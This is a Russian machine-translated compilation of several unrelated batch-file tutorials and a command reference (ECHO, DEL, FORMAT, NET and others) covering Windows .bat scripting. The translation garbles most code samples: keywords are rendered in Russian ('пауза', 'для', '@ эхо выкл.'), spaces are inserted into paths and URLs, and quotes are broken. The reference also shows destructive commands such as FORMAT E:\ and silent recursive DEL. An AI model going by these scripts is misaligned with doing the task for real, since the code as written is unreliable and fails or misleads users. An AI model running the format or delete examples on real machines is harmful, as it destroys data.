Допустим, у вас часто возникают проблемы с сетью; вы постоянно попадаете в командную строку, набираете ipconfig и отправляете эхо-запрос в Google для устранения сетевых проблем. Через некоторое время вы понимаете, что было бы немного эффективнее, если бы вы просто написали простой файл BAT, вставили его на USB-накопитель и использовали его на машинах, на которых вы устраняете неполадки.
Лучшие приемы и подсказки с командной строкой Командная строка— отличный инструмент для обычных пользователей ПК, потому что он прост в использовании, но мощный.Вот 15 уловок и советов, которые вы могли пропустить с помощью командной строки.
Создать новый текстовый документ
Пакетный файл упрощает повторяемые компьютерные задачи с помощью командной строки Windows. Ниже приведен пример командного файла, отвечающего за отображение некоторого текста в командной строке. Создайте новый файл BAT, щелкнув правой кнопкой мыши пустое место в каталоге и выбрав Новый , затем Текстовый документ .
Добавить код
Дважды щелкните этот Новый текстовый документ , чтобы открыть текстовый редактор по умолчанию. Скопируйте и вставьте следующий код в текстовую запись.
@echo off
title Это ваш первый пакетный скрипт!
echo Добро пожаловать в пакетный сценарий!
пауза
Сохранить как файл BAT
Приведенный выше сценарий повторяет текст «Добро пожаловать в пакетный сценарий!». Сохраните файл, выбрав File , Save As , а затем назовите свой файл, как хотите. Завершите имя файла добавленным расширением .bat — например, welcome.bat — и нажмите OK . Это завершит пакетный процесс. Теперь дважды щелкните созданный командный файл, чтобы активировать его.
Не думайте, что это все, что умеет пакетный сценарий. Параметры пакетных сценариев — это измененные версии кодов командной строки, поэтому вы ограничены только тем, что может делать ваша командная строка. Для тех, кто не знаком с программой, командная строка способна на многое.
Шаг 2. Изучите основы пакетного сценария
В пакетных файлах используется тот же язык, что и в командной строке. Все, что вы делаете, это сообщаете командной строке, что вы хотите ввести через файл, вместо того, чтобы вводить это в командной строке. Это экономит ваше время и силы. Это также позволяет вам вводить некоторую логику (например, простые циклы, условные операторы и т. Д., Которые процедурное программирование способно концептуально).
@echo: Этот параметр позволит вам просмотреть ваш рабочий сценарий в командной строке. Этот параметр полезен для просмотра вашего рабочего кода. Если из командного файла возникнут какие-либо проблемы, вы сможете просмотреть проблемы, связанные с вашим скриптом, с помощью функции эха. Добавление следующего off к этому параметру позволит вам быстро закрыть ваш скрипт после его завершения.
title: Предоставляя большую часть той же функции, что и тег
cls: Очищает командную строку, лучше всего использовать, когда посторонний код может сделать то, к чему вы обращаетесь, нужно было найти.
rem: Сокращение для примечания обеспечивает ту же функциональность, что и тег в HTML. Операторы Rem не вводятся в ваш код. Вместо этого они используются для объяснения и предоставления информации о коде.
%% a: Каждый файл в папке.
(«. \ «): Корневая папка. При использовании командной строки необходимо направить приглашение в конкретный каталог перед изменением имени файла, удалением файла и т. Д. В пакетных файлах вам нужно только вставить ваш .bat файл в каталог по вашему выбору.
pause: Позволяет разорвать логическую цепочку вашего файла. bat файл. Это позволяет пользователям читать командные строки перед продолжением кода. Фраза «Нажмите любую клавишу, чтобы продолжить …» будет обозначать паузу.
start «» [website]: Перейдет на выбранный вами веб-сайт с помощью браузера по умолчанию.
ipconfig: Это классический параметр командной строки, который раскрывает информацию, касающуюся сетевой информации. Эта информация включает MAC-адреса, IP-адреса и маски подсети.
ping: Пингует IP-адрес, отправляя пакеты данных по маршрутам сервера, чтобы измерить их местоположение и задержку (время ответа).
Библиотека пакетных переменных, мягко говоря, огромна. К счастью, в Викибуке есть запись, содержащая обширную библиотеку параметров и переменных пакетного сценария.
Шаг 3: напишите и запустите свой BAT-файл
Мы создадим два примера пакетных скриптов, которые могут упростить вашу повседневную работу в сети и офлайн.
Новостной скрипт
Давайте создадим сразу полезный пакетный скрипт. Что, если бы вы захотели открыть все свои любимые новостные сайты сразу после пробуждения? Поскольку в пакетных сценариях используются параметры командной строки, мы можем создать сценарий, который открывает все средства массовой информации в одном окне браузера.
Чтобы повторить процесс создания партии: сначала создайте пустой текстовый файл. Щелкните правой кнопкой мыши в пустом месте в папке по вашему выбору и выберите Новый , затем Текстовый документ . Открыв текстовый файл, введите следующий сценарий. В нашем примере представлены основные американские СМИ, доступные в Интернете.
@echo off
start "" http: // www.cnn.com
start "" http://www.abc.com
start "" http://www.msnbc.com
start "" http://www.bbc.com
start "" http: // www.huffingtonpost.com
start "" http://www.aljazeera.com
start "" https://news.google.com/
В приведенном выше сценарии один параметр start «» накладывается поверх другого, чтобы открыть несколько вкладок.Вы можете заменить предоставленные ссылки на любые по вашему выбору. После того, как вы вошли в сценарий, перейдите к File , затем Save As . В окне «Сохранить как» сохраните файл с расширением .bat и измените параметр Сохранить как тип на Все файлы (*. *) .
После того, как вы сохранили файл, все, что вам нужно сделать, это дважды щелкнуть ваш BAT-файл .Мгновенно откроются ваши веб-страницы. Если хотите, можете разместить этот файл на своем рабочем столе. Это позволит вам получить доступ ко всем вашим любимым веб-сайтам одновременно.
Организатор файлов
Вы загружали несколько файлов в день, но сотни файлов забивали вашу папку загрузки? Создайте пакетный файл с помощью следующего сценария, который упорядочивает ваши файлы по типам файлов.Поместите файл .bat в свою неорганизованную папку и дважды щелкните, чтобы запустить.
@echo off
rem Для каждого файла в папке
для %% a in (".\ * ") do (
rem проверьте, есть ли у файла расширение, и если это не наш скрипт
if" %% ~ xa "NEQ" "if" %% ~ dpxa "NEQ"% ~ dpx0 "(
rem check если папка расширения существует, в противном случае создается
, если не существует "%% ~ xa" mkdir "%% ~ xa"
rem Переместить файл в каталог
move "%% a" "%% ~ dpa %% ~ xa \ "
))
Вот пример моего рабочего стола раньше, неуклюжий набор файлов изображений.
Вот те самые файлы потом.
Это так просто.Этот пакетный сценарий также будет работать с любым типом файла, будь то документ, видео или аудиофайл. Даже если ваш компьютер не поддерживает формат файла, сценарий создаст для вас папку с соответствующей меткой. Если у вас уже есть папка JPG или PNG в вашем каталоге, скрипт просто переместит ваши типы файлов в соответствующее место.
Автоматизируйте простые вещи с помощью пакетных скриптов
Это лишь часть того, что могут предложить пакетные скрипты.Если вам нужно делать что-то простое снова и снова — будь то заказ файлов, открытие нескольких веб-страниц, массовое переименование файлов или создание копий важных документов — вы можете упростить утомительные задачи с помощью пакетных сценариев.
Сделайте еще больше, включив операторы IF в свои пакетные сценарии.А если вы также используете Linux, ознакомьтесь с лучшими способами использования команды df .
Что мне делать со старым ноутбуком?Приобретаете новый ноутбук? Вот что вы можете сделать со своим старым, если он все еще работает, от утилизации до продажи — и не только.
Об авторе Ян Бакли (Опубликовано 203 статьи)Ян Бакли, журналист-фрилансер, музыкант, исполнитель и видеопродюсер, живет в Берлине, Германия.Когда он не пишет или не на сцене, он возится с электроникой или кодом своими руками в надежде стать безумным ученым.
Больше От Яна БаклиПодпишитесь на нашу рассылку новостей
Подпишитесь на нашу рассылку, чтобы получать технические советы, обзоры, бесплатные электронные книги и эксклюзивные предложения!
Еще один шаг…!
Подтвердите свой адрес электронной почты в только что отправленном вам электронном письме.
Как сделать батник
Обновлено: 31.12.2020, Computer Hope
Ниже приведены шаги по созданию командного файла на любом компьютере под управлением операционной системы Microsoft (например, MS-DOS или любой версии Windows).
Создание командного файла в Microsoft Windows
В Windows вы можете создать командный файл, выполнив следующие действия или шаги, указанные в разделе командной строки MS-DOS.Если вам удобнее работать с Microsoft Windows, вы можете использовать любой текстовый редактор (например, Блокнот или WordPad) для создания командных файлов. Если расширение файла заканчивается на .bat . В приведенном ниже примере мы используем Блокнот Windows для создания командного файла.
- Нажмите Пуск.
- Введите Блокнот в поле Выполнить и нажмите Введите .
- Открыв Блокнот, введите следующие строки или скопируйте и вставьте их.
@ эхо выкл. echo Привет, это тестовый пакетный файл Пауза каталог c: \ windows пауза
- Щелкните Файл , затем Сохранить , а затем перейдите туда, где вы хотите сохранить файл.В качестве имени файла введите test.bat , и если в вашей версии Windows есть параметр Сохранить как тип , выберите Все файлы , в противном случае он будет сохранен как текстовый файл. Выполнив эти шаги, нажмите кнопку Сохранить и выйдите из блокнота.
- Чтобы запустить командный файл, дважды щелкните его, как любую другую программу. После завершения работы командного файла он автоматически закрывается.
Создание командного файла в MS-DOS
Чтобы создать пакетный файл в MS-DOS или командной строке Windows, выполните следующие действия.
ЗаписьНовые версии Windows или компьютеры с 64-разрядной версией Windows больше не поддерживают команду редактирования, что означает, что эти шаги больше не работают. Выполните указанные выше действия, если вы используете последнюю версию Windows.
- Откройте командную строку Windows.
- В командной строке MS-DOS введите: edit test.bat и нажмите Введите .
- При правильном вводе должен появиться синий экран редактирования. На экране редактирования введите:
@ эхо выкл. echo Привет, это тестовый пакетный файл Пауза каталог c: \ windows пауза
- После ввода этих трех строк щелкните Файл и выберите выход ; когда будет предложено сохранить, нажмите Да .Пользователи без мыши могут выполнить ту же задачу, нажав Alt + F для доступа к меню файла, а затем X для выхода. Нажмите Введите , чтобы сохранить изменения.
- Вернувшись в командную строку MS-DOS, введите: test и нажмите . Введите , чтобы запустить файл test.bat. Поскольку первая строка — это пауза, сначала вам будет предложено нажать клавишу. После этого командный файл запускается построчно; в этом случае перечисление файлов в каталогах Windows и Windows \ system.
Если вы хотите добавить больше строк в этот командный файл, введите edit test.bat , чтобы открыть файл для редактирования.
Дополнительная информация о команде редактирования MS-DOS находится на нашей странице команд редактирования. Некоторые версии MS-DOS и загрузочные дискеты могут не иметь команды редактирования. В этом случае вам нужно будет либо получить файл edit.com, либо использовать команду copy con.
Как создать пакетный файл, открывающий приложения, которые вы выбираете из списка
В предыдущем совете я показал вам, как создать пакетный файл для одновременного открытия нескольких приложений.
Этот командный файл отлично работает, если вы хотите, чтобы одни и те же приложения всегда открывались одновременно.
Но что, если у вас есть несколько приложений, которые вы часто используете, и вы хотите выбрать из списка только определенную комбинацию приложений, которые нужно открывать одновременно?
Например, у вас должен быть отчет о книге, и вам нужно поискать материал в Интернете. В этом случае вы хотите открыть Microsoft Word и Firefox.
Или пришло время оплачивать счета, и вам нужно открыть Блокнот, Калькулятор и Microsoft Excel.
Для этого мы можем создать командный файл со списком приложений. Когда вы запустите командный файл, появится меню, которое будет принимать вводимые пользователем данные из командной строки и открывать выбранные вами приложения (как показано на скриншоте выше).
Чтобы создать пакетный файл, сначала вам нужно составить список приложений, которые вы часто используете.
В этом примере я выберу шесть приложений (помните, что их может быть любое количество и любой тип приложений, которые вы хотите использовать):
- Блокнот
- Калькулятор
- Microsoft Word
- Microsoft Excel
- Internet Explorer
- Firefox
Затем найдите путь к исполняемому файлу для каждого приложения.Это можно сделать, найдя ярлык приложения в меню «Пуск» и щелкнув правой кнопкой мыши значок приложения (убедитесь, что выбрана вкладка «Ярлык»).
Для приложений Microsoft Office вам нужно будет заглянуть в папку, в которой установлен Office. На моем компьютере путь к исполняемому файлу:
C: \ Program Files \ Microsoft Office \ Office12 EXCEL.EXE
ПРИМЕЧАНИЕ. Ваш путь может отличаться в зависимости от версии Windows и Office, которые вы используете.
Для любого исполняемого файла приложения, который вы не можете найти, используйте поиск Windows (в XP и Vista), чтобы найти местоположение.
Создание командного файла
Просто щелкните правой кнопкой мыши на рабочем столе и выберите New \ TextDocument .
Затем назовите файл как хотите, а пока оставьте расширение как .txt (я назвал свой файл chooseapp.txt ).
Откройте файл, созданный с помощью блокнота, затем скопируйте и вставьте следующий код.Описание кода приведено ниже:
@echo off
cls
: запуск
echo.
эхо 1. Блокнот
эхо 2. Калькулятор
эхо 3. Microsoft Word
эхо 4. Microsoft Excel
эхо 5. Internet Explorer
эхо 6. Firefox
эхо 7. Я готово
эхо.
эхо.
set / p x = Pick:
IF ‘% x%’ == ‘% x%’ GOTO Item_% x%
: Item_1
start / MIN / DC: \ Windows \ System32 notepad.exe
GOTO Start
: Item_2
start / MIN / DC: \ Windows \ System32 calc.exe
GOTO Start
: Item_3
start / MIN / D «C: \ Program Files \ Microsoft Office \ Office10» WINWORD.EXE
GOTO Start
: Item_4
start / MIN / D «C: \ Program Files \ Microsoft Office \ Office10» EXCEL.EXE
GOTO Start
: Item_5
start / MIN / D «C: \ Program Files \ Internet Explorer \ iexplore.exe» http://www.google.com
GOTO Start
: Item_6
start / MIN / D «C: \ Program Files \ Mozilla Firefox» firefox.exe http://www.google.com
GOTO Start
: Item_7
выход
Вот как работает командный файл
— @echo off предотвращает отображение результатов команд в командной строке.
cls — очищает экран
: start — запускает команды для отображения списка
эхо. — создает пустую строку
echo 1. Блокнот
echo 2. Калькулятор
echo 3. Microsoft Word
echo 4. Microsoft Excel
echo 5. Internet Explorer
echo 6. Firefox
echo 7. Я готов
Строки выше — это приложения, которые будут отображаться в списке. Вы должны отредактировать эти строки, указав названия приложений, которые вы хотите отображать.
set / p x = Pick: — установить имя переменной x = Pick, которая будет использоваться в следующей строке
IF ‘% x%’ == ‘% x%’ GOTO Item_% x% — инструкция, определяющая, какой номер в списке вы выбрали, и переход к строке (GOTO), которая откроет приложение.
— >>> Две вышеуказанные строки редактировать не следует <<< -
: Item_1
start / MIN / DC: \ Windows \ System32 notepad.exe
GOTO Start
Во всех строках, начинающихся с: Item_ и их номер (в моем примере от 1 до 6), вы вводите путь и имя исполняемого файла приложения, которое нужно открыть.
Команда запуска состоит из двух частей:
MIN минимизирует приложение при его открытии ( ПРИМЕЧАНИЕ: , некоторые приложения игнорируют это и НЕ открывают свернутый ).
/ DC: \ Windows \ System32 notepad.exe — это место, где вы вводите путь и имя исполняемого файла. Вам нужно будет отредактировать этот параметр в приложении, которое вы хотите открыть .
GOTO Start — указывает командному файлу вернуться в начало строки Start, что позволит вам сделать другой выбор.
: Item_7
выход
Приведенные выше строки завершают пакетный файл, когда вы выбираете опцию 7. В зависимости от количества приложений в ВАШЕМ списке не забудьте перенумеровать список, включая последний элемент, который использовался для выхода из пакетного файла.
Когда закончите, сохраните файл и не забудьте переименовать файл (щелкните файл правой кнопкой мыши и выберите переименовать) и используйте .bat в качестве расширения.
Время запуска командного файла
Чтобы запустить его, дважды щелкните командный файл.Появится командное окно, позволяющее вам делать выбор по одному (он будет циклическим), введя число рядом со словом Pick, , а затем нажав клавишу Enter .
Сделав свой выбор, не забудьте выбрать последний номер в списке, чтобы пакетный файл завершился.
Если вам нужно повторно отредактировать командный файл, просто щелкните его правой кнопкой мыши и выберите «Редактировать» (не щелкайте дважды для редактирования). После редактирования сохраните файл перед закрытием.
Как видите, создание этого командного файла может оказаться небольшой утилитой.Его также можно использовать не только для открытия приложений, но и для часто используемых файлов (просто создайте еще одну строку в списке и добавьте путь к файлу с именем файла).
команд командного файла (A-Z) | Пояснения и примеры
В этом руководстве вы узнаете о командах пакетного файла и о том, как они используются при написании сценариев или программировании пакетного файла.
Как обсуждалось в предыдущем руководстве, пакетный файл — это неформатированный текстовый файл или файл сценария, который содержит несколько команд или инструкций пакетного файла для выполнения определенной задачи.Он имеет расширение .bat
или .cmd
.
Щелкните здесь, чтобы ознакомиться с введением командного файла перед изучением команд командного файла.
Команды командного файла: Windows / DOS
Для простоты обучения мы перечислили все команды командного файла с соответствующими примерами и пояснениями ниже. Пожалуйста, нажмите на команды, чтобы узнать подробности.
Список команд командного файла
Примечание: Команды пакетного файла не чувствительны к регистру
АССОК
Пакетная команда ASSOC
связывает расширение файла с типом файла или перечисляет все ассоциации.
Пример
@ эхо ВЫКЛ.
АССОК | найти ".txt"
пауза
Выход
.txt = текстовый файл
Как показано в выходных данных выше, он отображает ассоциацию файлов для расширения .txt и
.
Если записан и выполнен только ASSOC
, он отобразит все ассоциации файлов для каждого расширения, а не только расширение .txt
.
Нажмите здесь, чтобы вернуться к списку команд
АТРИБ
Пакетная команда ATTRIB
используется для отображения атрибутов файла или установки атрибута для файла в рабочем каталоге.
Пример
Теперь предположим, что у нас есть файл note.txt
в нашем рабочем каталоге. Мы отобразим его атрибуты файла, а затем сделаем его скрытым и доступным только для чтения, добавив к нему атрибуты 'ah'
и 'r'
. И, наконец, мы удалим некоторые добавленные атрибуты.
@ эхо ВЫКЛ.
:: Для отображения атрибута note.txt
ATTRIB note.txt
:: Чтобы сделать его только для чтения, добавив 'r'
ATTRIB + r примечание.текст
ATTRIB note.txt
:: Чтобы скрыть его, добавив "ах"
ATTRIB + ah note.txt
ATTRIB note.txt
:: Чтобы удалить атрибут только для чтения
ATTRIB -r note.txt
ATTRIB note.txt
Выход
Примечание.txt A R note.txt A R AH note.txt AH note.txt
Здесь, в этом выводе, A означает Архивный , R означает Только чтение и AH означает Скрытый файл .
Нажмите здесь, чтобы вернуться к списку команд
CD
Пакетная команда CD
помогает перемещаться по различным каталогам и изменять каталоги или отображать текущий каталог.
Пример
@ эхо ВЫКЛ.
:: CD без каких-либо параметров отображает текущий рабочий каталог
CD
:: Переход в родительский каталог на один уровень выше
CD..
CD
:: Изменение пути к программам
CD \ Программы
CD
пауза
Выход
C: \ Пользователи \ abc C: \ Пользователи C: \ Программы
Нажмите здесь, чтобы вернуться к списку команд
ЧКДСК
Пакетная команда CHKDSK
используется для проверки ошибок на диске.
Пример
@ эхо ВЫКЛ.
ЧКДСК
Нажмите здесь, чтобы вернуться к списку команд
ВЫБОР
Пакетная команда CHOICE
предоставляет пользователю список опций.
Пример
@ эхо ВЫКЛ.
ЭХО Хочешь кофе?
ECHO Введите Y для да
ECHO Введите N, если нет
ВЫБОР / c ДН / м «Да или Нет»
Выход
Теперь этот сценарий выдаст следующий результат.
Хотите кофе? Введите Y для да Введите N, если нет Да или Нет [Д, Н]?
Теперь консоль ждет вашего ввода, и как только вы введете свой ответ, она прекратит работу.
Нажмите здесь, чтобы вернуться к списку команд
CLS
Пакетная команда CLS
очищает экран.
Пример
@ эхо ВЫКЛ.
CLS
пауза
Эта команда просто очищает все журналы на экране командной строки.
Нажмите здесь, чтобы вернуться к списку команд
CMD
Пакетная команда CMD
вызывает новое окно командной строки.
Пример
@ эхо ВЫКЛ.
CMD
Нажмите здесь, чтобы вернуться к списку команд
КОМП
Пакетная команда COMP
сравнивает размер двух файлов и проверяет, отличаются ли они по размеру.
Пример
@ эхо ВЫКЛ.
КОМП C: \ abc.txt C: \ xyz.txt
Нажмите здесь, чтобы вернуться к списку команд
КОНВЕРТ
Пакетная команда ПРЕОБРАЗОВАЕТ
тома или диски из одного формата в другой, то есть из FAT в NTFS.
Пример
@ эхо ВЫКЛ.
ПРЕОБРАЗОВАТЬ D: \
Нажмите здесь, чтобы вернуться к списку команд
КОПИЯ
Пакетная команда COPY
используется для копирования файлов из одного места в другое.
Пример
@ эхо ВЫКЛ.
:: Для копирования с одного диска на другой -xyz.txt из D: \ в E: \
КОПИЯ D: \ xyz.txt E: \
:: Если в имени файла есть пробелы - используйте двойные кавычки
КОПИРОВАТЬ "D: \ my file.txt" E: \
Нажмите здесь, чтобы вернуться к списку команд
ДАТА
Пакетная команда ДАТА
отображает текущую дату в системе.
Пример
@ эхо ВЫКЛ.
echo% DATE%
Выход
пт 07.07.2017
Эта команда DATE отображает системную дату в командной строке, как показано выше.
Нажмите здесь, чтобы вернуться к списку команд
DEL
Пакетная команда DEL
используется для удаления файлов.
Пример
@ эхо ВЫКЛ.
:: Чтобы удалить отдельный файл xyz.txt
DEL D: \ xyz.txt
:: Удалить все файлы с расширениями .txt и запросить подтверждение перед удалением
DEL / p / s D: \ *. Txt
:: Remove \ p для удаления без подтверждения
DEL / с D: \ *. Txt
Примечание. Команда DEL удаляет только файлы, но не каталоги.
Нажмите здесь, чтобы вернуться к списку команд
DIR
Пакетная команда DIR
выводит список всего содержимого каталогов.
Пример
@ эхо ВЫКЛ.
:: Чтобы вывести все содержимое текущего каталога
DIR
:: Вывести список всех скрытых файлов рабочего каталога
DIR / ах
:: Вывести список всех файлов с расширениями .php
DIR * .php
ДИСКОВАЯ ЧАСТЬ
Пакетная команда DISKPART
показывает свойства раздела диска.
Пример
@ эхо ВЫКЛ.
DISKPART
Этот сценарий запросит у пользователей разрешение на проверку свойств раздела диска и, если разрешено, отобразит следующий вывод в консоли в зависимости от свойств диска.
Нажмите здесь, чтобы вернуться к списку команд
ЗАПРОС ВОДИТЕЛЯ
Пакетная команда DRIVERQUERY
отображает все установленные драйверы и их свойства.
Пример
@ эхо ВЫКЛ.
ЗАПРОС ВОДИТЕЛЯ
Выход
Этот вывод показывает часть списка драйверов с их свойствами и датой установки. DRIVERQUERY
команда показывает весь список драйверов, который огромен.
Нажмите здесь, чтобы вернуться к списку команд
ЭХО
Пакетная команда ECHO
используется для вывода команд включения / выключения и вывода сообщения на консоль.
Пример
@ эхо ВЫКЛ.
эхо Привет
Выход
Привет
Эта команда ECHO отображает Hello в консоли, как показано выше.
Помимо сообщения печати, echo
также используется для принятия решения, отображать ли саму команду. Как и в этом примере, в первой строке мы отключили эхо, что гарантирует, что сами команды не выводятся.
Если бы это эхо не было выключено, то вывод был бы таким:
C: \> echo Привет Привет
Нажмите здесь, чтобы вернуться к списку команд
ВЫХОД
Пакетная команда EXIT
завершает работу и закрывает консоль.
Пример
@ эхо ВЫКЛ.
эхо HI
ВЫХОД
В этом примере, как только в консоли будет напечатано HI
, команда EXIT
завершит программу и закроет консоль вывода.
Нажмите здесь, чтобы вернуться к списку команд
РАСШИРЯТЬ
Пакетная команда EXPAND
извлекает содержимое файла .cab
.
Пример
@ эхо ВЫКЛ.
РАСШИРЯТЬ xyz.такси
Этот сценарий извлечет все содержимое файла xyz.cab
в то же место, где находится xyz.cab
.
Нажмите здесь, чтобы вернуться к списку команд
FC
Пакетная команда FC
находит разницу между двумя файлами и отображает их на консоли.
Пример
@ эхо ВЫКЛ.
FC D: \ a.txt D: \ b.txt
Этот сценарий найдет разницу в содержании обоих файлов и выведет список всех из них.
Нажмите здесь, чтобы вернуться к списку команд
НАЙТИ
Пакетная команда НАЙТИ
выполняет поиск в заданном файле, чтобы найти нужную строку, и, если она найдена, отображает соответствующую строку, в которой существует строка.
Пример
@ эхо ВЫКЛ.
НАЙТИ "найди меня" example.txt
Этот сценарий будет искать строку «найди меня» в файле example.txt и, если она существует в example.txt, отобразит соответствующую строку на консоли.
Нажмите здесь, чтобы вернуться к списку команд
ФОРМАТ
Пакетная команда FORMAT
используется для форматирования диска формата FAT 16/32 или NTFS в Windows.
Пример
@ эхо ВЫКЛ.
ФОРМАТ E: \
Этот сценарий отформатирует диск E и перезапишет предыдущее содержимое.
Нажмите здесь, чтобы вернуться к списку команд
СПРАВКА
Это может быть одна из самых важных команд пакетного файла, потому что с помощью этой команды HELP
мы можем узнать обо всех других командах, используемых в пакетном файле или командной строке.
Пример
@ эхо ВЫКЛ.
ПОМОГИТЕ
Теперь это отобразит все доступные команды с их функциями в консоли.
Поскольку список команд намного больше, мы разрезали его на части и показали несколько здесь.
Теперь, когда у нас есть список команд пакетного файла, мы также можем просмотреть подробную информацию об их синтаксисе и функциях следующим образом:
@ эхо ВЫКЛ.
:: Просто введите help и команду, о которой хотите узнать.
ПОМОЩЬ копия
Теперь это отобразит подробную информацию о команде копирования.
Как видите, HELP COPY
отображает все подробности о команде COPY
.
Нажмите здесь, чтобы вернуться к списку команд
IPCONFIG
Пакетная команда IPCONFIG
отображает конфигурацию IP Windows.
Пример
@ эхо ВЫКЛ.
IPCONFIG
Этот сценарий сгенерирует следующий вывод.
стр.S: Мы скрыли адрес iPV6 в вышеприведенном выводе.
Нажмите здесь, чтобы вернуться к списку команд
ТАБЛИЧКА
Пакетная команда LABEL
отображает метку диска или тома, а также используется для добавления, установки или удаления метки диска.
Пример
@ эхо ВЫКЛ.
МЕТКА
Теперь будет отображаться метка вашего рабочего каталога, и вы можете установить, удалить или добавить другую метку.
Например, мой рабочий каталог — D :, и на нем есть ярлык «приложения». Итак, он выдаст следующий результат:
Нажмите здесь, чтобы вернуться к списку команд
MD
Пакетная команда MD
создает новый каталог или папку в рабочем каталоге.
Пример
@ эхо ВЫКЛ.
MD abc
Эта программа создаст новый каталог abc в текущем рабочем месте.
Нажмите здесь, чтобы вернуться к списку команд
БОЛЬШЕ
Пакетная команда БОЛЬШЕ
отображает содержимое файла одно за другим.
Пример
@ эхо ВЫКЛ.
БОЛЬШЕ D: \ example.txt
Эта программа будет отображать содержимое example.txt построчно, по очереди.
Нажмите здесь, чтобы вернуться к списку команд
ПЕРЕМЕЩЕНИЕ
Эта пакетная команда перемещает файлы из одного каталога в другой, переименовывает каталоги и также перемещает каталоги.
Пример
@ эхо ВЫКЛ.
:: Чтобы переместить xyz.txt из dir1 в dir2
ПЕРЕМЕСТИТЬ C: \ dir1 \ xyz.txt C: \ dir2
:: Чтобы переименовать каталог dir1 в dir2
ПЕРЕМЕСТИТЬ C: \ Program \ dir1 C: \ Program \ dir2
:: Чтобы переместить каталог dir1 из D: \ в D: \ music
ПЕРЕМЕСТИТЬ D: \ dir1 D: \ music \
Таким образом, команда MOVE
может использоваться для перемещения файлов, каталогов и переименования каталогов.
Нажмите здесь, чтобы вернуться к списку команд
НЕТТО
Пакетная команда NET
используется для многих сетевых функций в зависимости от используемых команд.
Пример
Для отображения пользователей:
@ эхо ВЫКЛ.
NET пользователей
Это даст следующий результат:
Как и у пользователей, есть много других команд:
- чистые счета
- чистый компьютер
- чистая конфигурация
- нетто продолжить
- чистый файл
- чистая группа
- чистая помощь
- чистое имя
- чистая пауза
- чистая печать
- чистая отправка
- чистая сессия
- чистая доля
- чистый старт
- чистая статистика
- чистый стоп
- чистое время
- чистое использование
- вид нетто
Щелкните здесь, чтобы вернуться к списку команд
ПУТЬ
Пакетная команда PATH
отображает переменную пути или ее можно использовать для установки переменной пути.
Пример
@ эхо ВЫКЛ.
ECHO% PATH%
Эта программа отобразит путь к текущему рабочему каталогу.
Нажмите здесь, чтобы вернуться к списку команд
ПАУЗА
Пакетная команда PAUSE
используется для удержания экрана вывода до тех пор, пока пользователь не введет переменную или значение.
Пример
@ эхо ВЫКЛ.
ЭХО привет
Пауза
Эта программа напечатает hi в консоли и покажет сообщение «Нажмите любую клавишу, чтобы продолжить.. ’И дождитесь ввода от пользователя.
Нажмите здесь, чтобы вернуться к списку команд
ПИНГ
Пакетная команда PING
используется для отправки пакетов ICMP / IP на указанный адрес по сети.
Пример
@ эхо ВЫКЛ.
ПИНГ 127.0.1.1
Выход
Этот сценарий отправляет пакеты на адрес 127.0.1.1, и вывод будет отображаться следующим образом:
Пинг 127.0.1.1 с 32 байтами данных: Ответ от 127.0.1.1: байты = 32, время <1 мс TTL = 128 Ответ от 127.0.1.1: байты = 32, время <1 мс TTL = 128 Статистика пинга для 127.0.1.1: Пакеты: отправлено = 2, принято = 2, потеряно = 0 (потеря 0%), Приблизительное время в оба конца в миллисекундах: Минимум = 0 мс, Максимум = 0 мс, Среднее = 0 мс
Нажмите здесь, чтобы вернуться к списку команд
RD
Пакетная команда RD
используется для удаления пустых каталогов, каталоги с содержимым или файлами внутри не могут быть удалены с помощью команды RD
.
Пример
@ эхо ВЫКЛ.
:: Чтобы удалить каталог xyz из C: \>
RD C: \ xyz
:: Чтобы удалить несколько каталогов из рабочего места
RD dir1 dir2
Нажмите здесь, чтобы вернуться к списку команд
REM
Пакетная команда REM
обозначает комментарии в пакетном сценарии.
Пример
@ эхо ВЫКЛ.
REM Это комментарий
Все, что написано после REM
, интерпретируется как комментарий и не выполняется в пакетных программах.
Нажмите здесь, чтобы вернуться к списку команд
REN
Пакетная команда REN
используется для переименования файлов и каталогов.
Пример
@ эхо ВЫКЛ.
:: Чтобы переименовать x.php в y.php
REN C: \ x.php C: \ y.php
Нажмите здесь, чтобы вернуться к списку команд
НАБОР
Пакетная команда SET
отображает список переменных среды системы.
Пример
@ эхо ВЫКЛ.
НАБОР
Нажмите здесь, чтобы вернуться к списку команд
ВЫКЛЮЧЕНИЕ
Пакетная команда SHUTDOWN
при вызове выключает компьютер.
Пример
@ эхо ВЫКЛ.
ВЫКЛЮЧЕНИЕ
Нажмите здесь, чтобы вернуться к списку команд
СОРТ
Пакетная команда SORT
используется для сортировки содержимого файла по алфавиту.
Пример
@ эхо ВЫКЛ.
СОРТИРОВАТЬ D: \ example.txt
Этот сценарий сортирует содержимое example.txt в алфавитном порядке по возрастанию или убыванию.
Нажмите здесь, чтобы вернуться к списку команд
ПУСК
Пакетная команда START
используется для открытия файла или запуска новой программы.
Пример
@ эхо ВЫКЛ.
ЗАПУСК paint.exe
Эта программа запустит отрисовку приложения, если оно находится в рабочем месте, иначе вам также придется явно указать путь к этой программе.
Нажмите здесь, чтобы вернуться к списку команд
СИСТЕМНАЯ ИНФОРМАЦИЯ
Пакетная команда SYSTEMINFO
отображает всю конфигурацию компьютера и операционной системы.
Пример
@ эхо ВЫКЛ.
SYSTEMINFO
Это сгенерирует следующий вывод в зависимости от компьютера:
Конечно, подробностей будет гораздо больше, но, пожалуйста, попробуйте посмотреть на своем ПК.
Нажмите здесь, чтобы вернуться к списку команд
ТАСККИЛЛ
Пакетная команда TASKKILL
используется для завершения запущенной задачи
Пример
Если вы должны были прервать работу блокнота на вашем ПК, то используется следующий сценарий.
@ эхо ВЫКЛ.
TASKKILL / им notepad.exe
Нажмите здесь, чтобы вернуться к списку команд
СПИСОК ЗАДАЧ
Пакетная команда TASKLIST
выводит список всех запущенных задач в консоли.
Пример
@ эхо ВЫКЛ.
СПИСОК ЗАДАЧ
Нажмите здесь, чтобы вернуться к списку команд
ВРЕМЯ
Пакетная команда TIME
используется для отображения или установки системного времени.
Пример
@ эхо ВЫКЛ.
ЭХО% ВРЕМЯ%
Выход
18: 01: 22: 06
Текущее время отображается в консоли.
Нажмите здесь, чтобы вернуться к списку команд
НАЗВАНИЕ
Пакетная команда TITLE
устанавливает новый заголовок для консоли вывода.
Пример
@ эхо ВЫКЛ.
TITLE Новая консоль
Этот скрипт установит заголовок консоли вывода на «Новая консоль». Таким образом, консоль вывода будет выглядеть так:
Нажмите здесь, чтобы вернуться к списку команд
ДЕРЕВО
Пакетная команда TREE
отображает древовидную диаграмму подкаталогов до последнего уровня.
Пример
У меня есть папка фильмы. Итак, если бы я запустил TREE
